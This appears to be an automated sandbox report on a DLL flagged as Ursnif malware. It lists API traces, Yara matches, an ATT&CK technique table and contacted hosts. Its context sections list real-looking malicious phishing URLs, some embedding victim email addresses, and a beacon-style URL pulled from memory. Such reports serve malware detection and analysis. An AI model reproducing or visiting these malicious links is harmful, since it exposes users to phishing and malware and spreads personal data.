Code function: 0_2_6DDFAFAC RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DDC1BAC LoadLibraryA,GetProcAddress,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE1E2D8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE1E207 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE1DE0E push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE1E2D8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE1E207 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE1DE0E push dword ptr fs:[00000030h]

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DDF3484 GetProcessHeap,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDEFEBA SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDEFEBA SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\5.dll',#1

Source: loaddll32.exe, 00000000.00000002.496085670.0000000001330000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497582493.0000000002E20000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.496085670.0000000001330000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497582493.0000000002E20000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.496085670.0000000001330000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497582493.0000000002E20000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.496085670.0000000001330000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497582493.0000000002E20000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.496085670.0000000001330000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497582493.0000000002E20000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02A79135 cpuid

Source: C:\Windows\System32\loaddll32.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,
Source: C:\Windows\System32\loaddll32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,
Source: C:\Windows\System32\loaddll32.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,
Source: C:\Windows\System32\loaddll32.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Windows\System32\loaddll32.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\System32\loaddll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_memmove,_memmove,_memmove,_free,_free,_free,_free,_free,_free,_free,_free,_free,
Source: C:\Windows\System32\loaddll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,
Source: C:\Windows\System32\loaddll32.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_memmove,_memmove,_memmove,_free,_free,_free,_free,_free,_free,_free,_free,_free,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DDC1ADA GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02A79135 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DDC1F0E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 452, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 2248, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 452, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 2248, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Security Software Discovery3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information21	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Rundll321	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing1	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery23	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
5.dll	22%	Virustotal		Browse
5.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.loaddll32.exe.c30000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File
3.2.rundll32.exe.2a70000.1.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
outlook.com	40.97.116.82	true	false	high
HHN-efz.ms-acdc.office.com	40.101.137.98	true	false	high
FRA-efz.ms-acdc.office.com	52.97.152.210	true	false	high
www.outlook.com	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://outlook.office365.com/grower/GwIQZ7VTU_2B0dEDGXi3usO/98Jy_2Fhjs/9ADdwnOA_2BxxHdxk/bJ6tUkE3rK	~DF3A99C7AD2702480D.TMP.24.dr, {BD6AF35E-DF4A-11EB-90E5-ECF4BB570DC9}.dat.24.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
40.101.137.98	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.152.210	FRA-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.144.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.233.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.97.116.82	outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	445164
Start date:	07.07.2021
Start time:	10:40:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 59s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	5.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winDLL@18/7@6/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 13.4% (good quality ratio 12.6%) Quality average: 78.7% Quality standard deviation: 29.5%
HCA Information:	Successful, ratio: 69% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, conhost.exe, SgrmBroker.exe, WmiPrvSE.exe, svchost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 13.88.21.125, 168.61.161.212, 131.253.33.200, 13.107.22.200, 92.122.145.220, 13.64.90.137, 52.255.188.83, 13.107.5.88, 13.107.43.23, 23.35.236.56, 40.88.32.150, 20.82.210.154, 23.203.80.193, 23.216.77.209, 152.199.19.161 Excluded domains from analysis (whitelisted): client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, config.edge.skype.com.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, e-0009.e-msedge.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, config-edge-skype.l-0014.l-msedge.net, l-0014.config.skype.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, go.microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, l-0014.dc-msedge.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, afdo-tas-offload.trafficmanager.net, fs.microsoft.com, ie9comview.vo.msecnd.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, dual-a-0001.dc-msedge.net, ocos-office365-s2s-msedge-net.e-0009.e-msedge.net, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, skypedataprdcolwus15.cloudapp.net, cs9.wpc.v0cdn.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:42:35	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
52.97.152.210	https://r0qp15r0b1rq05rrpbqbrpq5.s3-eu-west-1.amazonaws.com/Ap3dX.html#orderadmin@roku.com	Get hash	malicious	Browse
	loader.exe	Get hash	malicious	Browse
	https:\\bit.ly/2WRZ0S5#joyce.chay@milliken.com	Get hash	malicious	Browse
	https://learn4fun.cz/domains/learn4fun.cz/ahgf36894we894jsd/voicemessage/	Get hash	malicious	Browse
52.97.144.2	E848.tmp.exe	Get hash	malicious	Browse
	0G2gue8shl.exe	Get hash	malicious	Browse
	shipping_doc.exe	Get hash	malicious	Browse
	https://immense-bullfrog.10web.me/	Get hash	malicious	Browse
	https://projectcheckg.web.app/#taxes@abrholdings.com	Get hash	malicious	Browse
	ze99HWZnJK.exe	Get hash	malicious	Browse
	https://app.upthere.com/elnino/assets/pdfjs/viewer/ce6fefe64453f27791ffdf3afa5bbdadb5d75d7267b297b30b776a371de64e63/45b49d4fce909afc27225208cd0205c692535fc89a07ab840bb78533e2925460?view_id=e28c4043fb3f3e666cddd8b96543302e5bac6c21c762fba5b895a91a251f9b48&branch_id=52a27d4473c90b9b6d624d662ab8a832c97a3c384a2b776927ed4eccc24a1e0a?*35354689209358HvT35W1Sh3509mW81735BbW098QdbK09W1Sh	Get hash	malicious	Browse
	https://bradyblocks.com/fob/Pro/onedauth/office/index.php	Get hash	malicious	Browse
	https://u10269907.ct.sendgrid.net/wf/click?upn=7TnevfDNdxZp2Q3ysQ7X3oESB0-2FDPAHHGrCSuhANFl0RiIaXTQqc14zMc-2FpX9M8w_fxDop4UK-2FXWtvz-2Fo4SgBilCRDsINTKa-2BV6WoX7TCamBzN4Y3OFVxfYIFnMjo2oF0yanJFKyei-2FKbXVFZy2wWdw2BISVfQ0uuj040ducQ3e4x0ReqX-2BeavUyA3qBOBoptIxux6KHZnY0imx8tUJ6aPUBf7V4AQsKN3qI-2FJUs5ka5TGYo3JtEVvh56ieL-2BftMts8GVieoN5pgiQgMOSfl-2FS3as8UhjMRUwml-2Btsxw6bkw-3D	Get hash	malicious	Browse
52.97.233.2	https://deatee00.z13.web.core.windows.net/#guyb@thomas.co	Get hash	malicious	Browse
40.97.116.82	2790000.dll	Get hash	malicious	Browse
	2770174.dll	Get hash	malicious	Browse
	60e40fb428612.dll	Get hash	malicious	Browse
	zHUScMPOlZ.dll	Get hash	malicious	Browse
	nT5pUwoJSS.dll	Get hash	malicious	Browse
	.exe	Get hash	malicious	Browse
	82attachmen.exe	Get hash	malicious	Browse
	62lette.exe	Get hash	malicious	Browse
	5transcrip.exe	Get hash	malicious	Browse
	1message.exe	Get hash	malicious	Browse
	49instructio.exe	Get hash	malicious	Browse
	.exe	Get hash	malicious	Browse
	52DOCUMEN.exe	Get hash	malicious	Browse
	25messag.exe	Get hash	malicious	Browse
	fuck.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HHN-efz.ms-acdc.office.com	PreOrder.exe	Get hash	malicious	Browse	52.97.201.2
	2790000.dll	Get hash	malicious	Browse	52.97.201.50
	2770174.dll	Get hash	malicious	Browse	52.98.175.18
	60e40fb428612.dll	Get hash	malicious	Browse	52.97.201.18
	zHUScMPOlZ.dll	Get hash	malicious	Browse	40.101.136.242
	SwiftDocument.HTML	Get hash	malicious	Browse	40.101.136.18
	Xerox scan.html	Get hash	malicious	Browse	52.98.151.226
	r.dll	Get hash	malicious	Browse	40.101.137.2
	a9FUs89dWy.dll	Get hash	malicious	Browse	52.98.171.226
	60b49bdd63509.dll	Get hash	malicious	Browse	40.101.137.50
	nT5pUwoJSS.dll	Get hash	malicious	Browse	52.97.201.34
	nT5pUwoJSS.dll	Get hash	malicious	Browse	52.97.233.66
	kZcCqvNtWa.dll	Get hash	malicious	Browse	52.98.171.226
	A5uTdwOwJ1.dll	Get hash	malicious	Browse	40.101.138.210
	FuiZSHt8Hx.dll	Get hash	malicious	Browse	52.98.151.242
	609a460e94791.tiff.dll	Get hash	malicious	Browse	52.97.201.34
	iJdlvBxhYu.dll	Get hash	malicious	Browse	52.97.150.2
	8OKQ6ogGRx.dll	Get hash	malicious	Browse	40.101.138.2
	609110f2d14a6.dll	Get hash	malicious	Browse	40.101.137.34
	New%20order%20contract.html	Get hash	malicious	Browse	52.98.175.2
outlook.com	oEE058tCoG.exe	Get hash	malicious	Browse	40.93.207.1
	2Bmv1UZL2m.exe	Get hash	malicious	Browse	52.101.24.0
	oS4iWYYsx7.exe	Get hash	malicious	Browse	104.47.53.36
	P4SRvI1baM.exe	Get hash	malicious	Browse	104.47.54.36
	051y0i7M8q.exe	Get hash	malicious	Browse	40.93.207.0
	lEbR9gFgLr.exe	Get hash	malicious	Browse	104.47.54.36
	0OvBoFRzgC.exe	Get hash	malicious	Browse	104.47.54.36
	A1qhcbngFV.exe	Get hash	malicious	Browse	104.47.54.36

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	sud-life-mobcast.apk	Get hash	malicious	Browse	104.45.180.93
	sud-life-outwork.apk	Get hash	malicious	Browse	104.45.180.93
	Flwphoptcdyxlxhpejlfjgmsyzqkhoqweu.exe	Get hash	malicious	Browse	20.80.30.45
	2790000.dll	Get hash	malicious	Browse	40.101.136.2
	2770174.dll	Get hash	malicious	Browse	40.101.136.2
	60e40fb428612.dll	Get hash	malicious	Browse	52.97.201.18
	9cYXsscTTT.exe	Get hash	malicious	Browse	104.42.151.234
	TestTakerSBBrowser.exe	Get hash	malicious	Browse	137.117.66.167
	mJSDCeNxFi.exe	Get hash	malicious	Browse	40.88.32.150
	oEE058tCoG.exe	Get hash	malicious	Browse	40.93.212.0
	zHUScMPOlZ.dll	Get hash	malicious	Browse	40.97.116.82
	hsIF8b0YX1.msi	Get hash	malicious	Browse	191.235.71.131
	x86_x64_setup.exe	Get hash	malicious	Browse	104.43.193.48
	h3hlbLDpl8.exe	Get hash	malicious	Browse	13.64.90.137
	PAYMENT.HTML	Get hash	malicious	Browse	13.71.84.154
	JOB-in.line e.K.- Purchase Order 19600396 & 19600397.xlsx.exe	Get hash	malicious	Browse	13.82.24.228
	y3sBoQe6u7.exe	Get hash	malicious	Browse	52.170.189.162
	NC46O8xw5Z.exe	Get hash	malicious	Browse	52.170.189.162
	input.06.21.doc	Get hash	malicious	Browse	52.109.32.41
	PaymentConfirmation.pdf.exe	Get hash	malicious	Browse	13.90.75.180

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{BD6AF35A-DF4A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.003853863777815
Encrypted:	false
SSDEEP:	96:ryZlZW2OWEtfbfOq5KMvhqUhQAoxhHS7c3MVs7c8w7Uksw7UONvjaUntvHaaI1v8:ryZlZW2OWEtDfONMgbzJMj/N1tw/o7og
MD5:	1B2C08B04283EF2331ACDE91B8BBCB4D
SHA1:	43A807C8569A26885E912103F9D6D63547638D07
SHA-256:	77E5A7867B6DA6BC138D8896ACB6DE61361F526F8CA51CE601A9E68DC95E6992
